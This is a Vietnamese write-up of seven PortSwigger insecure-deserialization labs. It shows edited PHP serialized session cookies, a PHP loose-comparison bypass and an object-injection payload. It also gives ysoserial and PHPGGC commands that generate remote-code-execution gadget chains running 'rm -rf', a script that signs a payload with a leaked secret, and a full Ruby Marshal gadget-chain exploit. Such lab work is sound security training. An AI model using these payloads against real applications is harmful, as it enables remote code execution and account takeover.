PortSwigger - Insecure Deserialization
Thông thường cấu trúc của
Serialize Datacó dạng:O: strlen(object name): object name: object size: {... elements...}
1. Modifying serialized objects
Description
This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete Carlos’s account. You can log in to your own account using the5 following credentials: wiener:peter
Exploitaion
Challenge này yêu cầu ta thay đổi thuộc tính trên serialized objects để leo quyền lên admin.
Đăng nhập bằng tài khoản wiener:peter.
Ta thấy session cookie là một object User sau khi được serialized và base64-encode. Để ý object User này có thuộc tính admin hiện có giá trị boolean 0 tức là false.
Vì user này không phải admin → không vào được trang /admin.
=> Ta thử thay đổi giá trị boolean ở serialized session cookie thành 1
End-code base64
Edit cookie của trang web và load lại trang:
=> User đã đăng nhập được vào trang /admin
Tiến hành xóa user Carlos.
Solved
2. Modifying serialized data types
Description
This lab uses a serialization-based session mechanism and is vulnerable to authentication bypass as a result. To solve the lab, edit the serialized object in the session cookie to access the administrator account. Then, delete Carlos. You can log in to your own account using the following credentials: wiener:peter
Exploitaion
Tương tự lab 1, session cookie cũng được serialize từ User object
Lần này ứng dụng authenticate user thông qua thuộc tính access_token là chuỗi kí tự dài 32 kí tự.
O: 4: "User": 2: {s: 8: "username"; s: 6: "wiener"; s: 12: "access_token";s: 32: "t2blplwd06k5lr3coyxnjzy7ne355ge5";}
Tuy nhiên, theo mô tả có thể ứng dụng này sử dụng PHP loose comparison bởi operator == để authenticate như sau:
$user = unserialize($_SESSION)
if ($user['access_token'] == $access_token) {
// Authenticate successfully
}
Như vậy ta sẽ bypass bằng cách chỉnh access_token về số nguyên 0 → bypass được == vì 0 == string sẽ trả về true. Serialized object sau khi chỉnh như sau:
O: 4: "User": 2: {s: 8: "username"; s: 6: "wiener"; s: 12: "access_token";i: 0;}
Endcode base64 và edit cookie
Đăng nhập vào admin panel thành công và tiến hành xóa user Carlos.
Solved
3. Using application functionality to exploit insecure deserialization
Description
This lab uses a serialization-based session mechanism. A certain feature invokes a dangerous method on data provided in a serialized object. To solve the lab, edit the serialized object in the session cookie and use it to delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter You also have access to a backup account: gregg:rosebud
Exploitaion
Tương tự 2 labs trên, Session Cookie cũng được serialize từ User object
Lần này ứng dụng có thêm thuộc tính avatar_link. Mà ứng dụng này có chức năng Delete account => Khi ấn vào nút Delete account thì ứng dụng sẽ xóa cả avatar của người dùng.
Nếu ta thay đổi đường dẫn tại thuộc tính avatar_link thành 1 file bất kì trong hệ thống thì file đó sẽ bị delete khỏi hệ thống khi Delete account.
Chỉnh sửa avatar_link thành /home/carlos/morale.txt để tiến hành xóa file.
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"bqp5e5wpdhhaz3rt0knb1u6uowozl5se";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
Endcode base64 và Edit cookie.
Load lại trang và Solved.
4. Arbitrary object injection in PHP
Description
This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos’s home directory. You will need to obtain source code access to solve this lab. You can log in to your own account using the following credentials: wiener:peter
Exploitaion
Tương tự 3 labs trên, Session Cookie cũng được serialize từ User object
Khi ấn vào view-source ta thấy một đường dẫn:
Kiểm tra thử đường dẫn xem có đọc được source code không:
Không có gì phản hồi. Ta thử thêm dấu ~ vào cuối đường dẫn, ta xem được mã nguồn file /libs/CustomTemplate.php.
Mã nguồn file /libs/CustomTemplate.php:
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
Một class CustomTemplate được định nghĩa với 2 thuộc tính template_file_path và lock_file_path. Ta chỉ cần quan tâm magic method
__destruct() khi nó thực hiện xóa file tại lock_file_path, nếu nó tồn tại. Mặt khác __destruct() sẽ được gọi khi server thực hiện deserialize.
=> Ta có thể tận dụng session cookie để thực hiện Object Injection như sau:
O: 14: "CustomTemplate": 1: {s: 14: "lock_file_path"; s: 23: "/home/carlos/morale.txt";}
Endcode base64 và edit cookie:
Solved
5. Exploiting Java deserialization with Apache Commons
Description
This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don’t have source code access, you can still exploit this lab using pre-built gadget chains. To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter
Exploitation
Cookie của ứng dụng là một Java serialize Object

Ở lab này, ta sẽ tạo gadget chain bằng ứng dụng có tên là ysoserial
để khai thác.
Đầu tiên, vì ứng dụng sử dụng thư viện Apache Commons Collections nên ta sẽ sử dụng gadget chain có tên là CommonsCollections1,…, CommonsCollections4 để sinh ra payload. Sau vài lần thử, ta có thể dụng được gadgetCommonsCollections4.
Payload:
java \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED\
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED\
--add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED\
-jar ./ysoserial-all.jar CommonsCollections4 "rm -rf /home/carlos/morale.txt" 2> nul | base64 -w0

Sử dụng payload vừa tạo và send request

Ứng dụng có mã lỗi 500 nhưng ta vẫn solve được challange.

6. Exploiting PHP deserialization with a pre-built gadget chain
Description
This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don’t have source code access, you can still exploit this lab’s insecure deserialization using pre-built gadget chains. To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials:
wiener:peter
Exploitation
Bài này tương tự bài trên nhưng sử dụng ngôn ngữ PHP. Tool ta sẽ sử dụng cho bài này có tên là PHPGCC
Cookie là một PHP serialize Object. Trong đó, trường sig_hmac_sha1 chính là signature để verify User object tại trường token có bị thay đổi hay không.

Khi ta nhập session sai và gửi request, server trả về thông báo lỗi signature sai và thư viện sử dụng:

Ở đây ứng dụng sử dụng thư viện Symphony version 4.3.6
Tiến hành tạo payload bằng PHPGGC tool.

Payload:
php ./phpggc Symfony/RCE4 system 'rm -rf /home/carlos/morale.txt' 2> null | base64 -w0 > cookie.txt

Vì server sử dụng signature key để verify user nên ta cần SECRET_KEY để hoàn thành payload.
Đọc source html của ứng dụng có một đường dẫn debug:

Truy cập đường dẫn ta tìm được SECRET_KEY

Sử dụng script này để sign SECRET_KEY với payload generated:
<?php
$payload = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czozMDoicm0gLXJmIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo2OiJzeXN0ZW0iO319Cg==";
$secret = "hwo9dc4j2ef2vmehy8o01n6m6owbbz6b";
$sig_hmac_sha1 = hash_hmac("sha1", $payload, $secret);
$cookie = urlencode('{"token":"'.$payload.'","sig_hmac_sha1":"'.$sig_hmac_sha1.'"}');
print_r($cookie);
?>

Ứng dụng thông báo lỗi nhưng ta vẫn solve được challenge.

Solved

7. Exploiting Ruby deserialization using a documented gadget chain
Description
This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework. To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter
Exploitation
Session cookie là một Ruby deserialize Object

Ở lab này, ta sẽ sử dụng script của một blog viết về Universal Deserialisation Gadget for Ruby 2.x-3.x .
Script có nội dung như sau:
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm -rf /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
require "base64"
puts Base64.encode64(payload)

Thay cookie và gửi request

Ứng dụng thông báo lỗi nhưng ta vẫn solve được challenge.
